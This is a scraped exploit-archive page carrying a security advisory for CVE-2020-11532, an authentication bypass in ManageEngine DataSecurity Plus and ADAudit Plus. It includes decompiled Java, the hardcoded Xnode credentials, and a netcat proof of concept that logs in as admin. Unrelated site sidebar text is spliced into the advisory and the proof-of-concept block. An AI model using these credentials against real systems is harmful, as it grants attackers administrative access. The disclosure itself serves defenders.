ManageEngine DataSecurity Plus Authentication Bypass

Authored by Sahil Dhar, xen1thLabs

Posted May 8, 2020

ManageEngine DataSecurity Plus versions prior to 6.0.1 and ADAudit Plus versions prior to 6.0.3 suffer from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2020-11532
SHA-256 | 4fdd0a374d4602e83df4826d1fa9df4688afc640985f07e5c06d6e72891299a4 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

~~~
XL-2020-002 - DataSecurity Plus Xnode Server - Authentication Bypass

===============================================================================



Identifiers

-------------------------------------------------

* CVE-2020-11532

* XL-20-002



CVSSv3 score

-------------------------------------------------

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)



Vendor

-------------------------------------------------

ManageEngine - [https://www.manageengine.com/data-security/](https://www.manageengine.com/data-security/)



Product

-------------------------------------------------

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss,
and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining
the file integrity and combating against ransomeware attacks using automated threat response mechanisms. It
comes with the features such as File Server Audting, Data Leak Prevention and Data Risk assessment.



Affected products

-------------------------------------------------

- All DataSecurity Plus versions prior to 6.0.1 (6011)

-  All ADAudit Plus versions prior to 6.0.3 (6032)



Credit

-------------------------------------------------

Sahil Dhar - xen1thLabs - Software Labs



Vulnerability summary

-------------------------------------------------

ManageEngine DataSecurity Plus application uses default admin credentials to communicate with Dataengine Xnode
server. This allows an attacker to bypass authentication for Dataengine Xnode server and execute all operations
in the context of admin user. Combining this vulnerability with the Path Traversal vulnerability, an
**unauthenticated** attacker can execute code in the context of DataSecurity Plus application.



Technical details

------------------------------------------------

In order to communicate with the Dataengine Xnode server, the application first initializes the `DE` class at
line:31 of `DataEngineService.java` from `dataengine-controller.jar` package and calls the `build()` function
of `DE` class object at line:41 .



```java

29: public DataEngineService() throws Exception {

30:  DE.initialize();

31:  com.manageengine.dataengine.controller.DE.plugins.deAdminActions = DspDEAdminActions.class;

32:  com.manageengine.dataengine.controller.DE.plugins.xnodeCtlrDataRepositoryActions =
XNodeCtlrDataRepositoryActions.class;

33:  com.manageengine.dataengine.controller.DE.plugins.elasticCtlrDataRepositoryActions =
ElasticCtlrDataRepositoryActions.class;

34:  com.manageengine.dataengine.controller.DE.plugins.xnodeReportViewActions = XNodeReportViewActions.class;

35:  com.manageengine.dataengine.controller.DE.plugins.elasticReportViewActions =
ElasticReportViewActions.class;

36:  com.manageengine.dataengine.controller.DE.plugins.xnodeQueryConsoleViewActions =
XNodeQueryConsoleViewActions.class;

37:  com.manageengine.dataengine.controller.DE.plugins.elasticQueryConsoleViewActions =
ElasticQueryConsoleViewActions.class;

38:  com.manageengine.dataengine.controller.DE.plugins.deLegacyViewHandler =

39:   DspDELegacyViewHandler.class;

40:  com.manageengine.dataengine.controller.DE.plugins.drGeneralQueryParser = DspDRGeneralQueryParser.class;

41:  DE.build();

42:  controller = DE.controller();

43: }

```
~~~

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	154 files
Ubuntu	73 files
LiquidWorm	23 files
Debian	18 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	8 files
T. Weber	4 files
Julien Ahrens	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

The `initialize` method of `DE` class is responsible for loading the configuration values from `dataengine-xnode.conf` file from the file system at line:45 by calling the `initialize()` method of AdapEnvironment class of `DE.java`. At line:60, the `build()` function intializes the `XNodeController` class.

```java
42: public static void initialize()
43: throws Exception {
44:  AdapEnvironment.initialize();
45:  engineType = (String) AdapEnvironment.DE_ENGINE.value();
46: }
47: public static void build() throws Exception {
48:   if ((engineType != null) && (engineType.equalsIgnoreCase("xnode"))) {
49:    if (plugins.xnodeCtlrDataRepositoryActions == null) {
50:     throw new Exception("xnodeCtlrDataRepositoryActions plugin not
51:      set!");
52:     }
53:     if (plugins.xnodeReportViewActions == null) {
54:      throw new Exception("xnodeReportViewActions plugin not set!");
55:     }
56:     if (plugins.xnodeQueryConsoleViewActions == null) {
57:      throw new Exception("xnodeQueryConsoleViewActions plugin not
58:       set!");
59:      }
60:      dataEngineController = new XNodeController();
```

The `XNodeController` class loads the default configuration values into a `propFileHandler` object which is internally passed to `build()` function of XNode class at line:28 and 32 of `XNodeController.java`.

```java
22: public XNodeController()
23: throws Exception {
24:  if (!((Path) AdapEnvironment.DE_E_CONF_FILE.value()).toFile().exists()) {
25:   throw new FileNotFoundException("EXCEPTION : " +
26:    AdapEnvironment.DE_E_CONF_FILE.value() + " file not found!");
27:  }
28:  PropertiesFileUtil.PropertiesFileHandle propFileHandler =
29:   PropertiesFileUtil.getPropertiesFileHandle(((Path) AdapEnvironment.DE_E_CONF_FILE.value()).toAbsolutePath().toString(), false);
30:  xnodes = new XNodes();
31:  int nodeCount = propFileHandler.getInt("xnodes.count",
32:   Integer.valueOf(1)).intValue();
33:  for (int i = 1; i <= nodeCount; i++) {
34:   xnodes.addNode(propFileHandler, i);
```

Contents of dataengine-xnode.conf file

```
1:xnode.connector.port = 29119
2:xnode.connector.username = atom
3:xnode.connector.password = chegan
4:xnode.connector.tcp.json_decode_size_mb = 20
5:xnode.db.store.dbname = store
6:xnode.db.store.dbadapter = hsqldb
7:xnode.db.store.username =
8:xnode.db.store.password =
9:xnode.dr.archive.zip_password =
```

In the following code snippet at line:238 and 239 of `XNode.java`, we can confirm that the application uses default admin credentials for communicating with Dataengine Xnode server.

```java
231: public static XNode build(PropertiesFileUtil.PropertiesFileHandle propFileHandler, int index) {
232:   XNodeSettings settings = new XNodeSettings();
233:   xnode_host.set(propFileHandler.getString(index + "." + "xnode.host", (String) xnode_host.getDefaultValue()));
234:   xnode_location.set(propFileHandler.getString(index + "." + "xnode.location", (String) xnode_location.getDefaultValue()));
235:   xnode_service_name.set(propFileHandler.getString(index + "." + "xnode.service_name", (String) xnode_service_name.getDefaultValue()));
236:   xnode_connector_type.set(propFileHandler.getString(index + "." + "xnode.connector.type", (String) xnode_connector_type.getDefaultValue()));
237:   xnode_connector_port.set(propFileHandler.getInt(index + "." + "xnode.connector.port", (Integer) xnode_connector_port.getDefaultValue()));
238:   xnode_connector_username.set(propFileHandler.getString(index + "." + "xnode.connector.username", (String) xnode_connector_username.getDefaultValue()));
239:   xnode_connector_password.set(propFileHandler.getString(index + "." + "xnode.connector.password", (String) xnode_connector_password.getDefaultValue()));
```

Proof of concept

As can be seen, one can use the default admin credentials to bypass authentication for Dataengine Xnode server.

```
#~ nc 192.168.56.108 29119

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other
```

~~~
{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}

{"response":{"status":"authentication_success"},"request_id":-1}

{"action":"admin:/health","de_health":true, "request_id":1}

{"response":{"de_health":"GREEN"},"request_id":1}
```


Solution

-------------------------------------------------

Update the latest stable version.


Timeline

-------------------------------------------------

Date        | Status

------------|-----------------------------

04-MAR-2020 | Reported to vendor

13-MAR-2020 | Patch available

05-MAY-2020 | Public disclosure
~~~

Login or Register to add favorites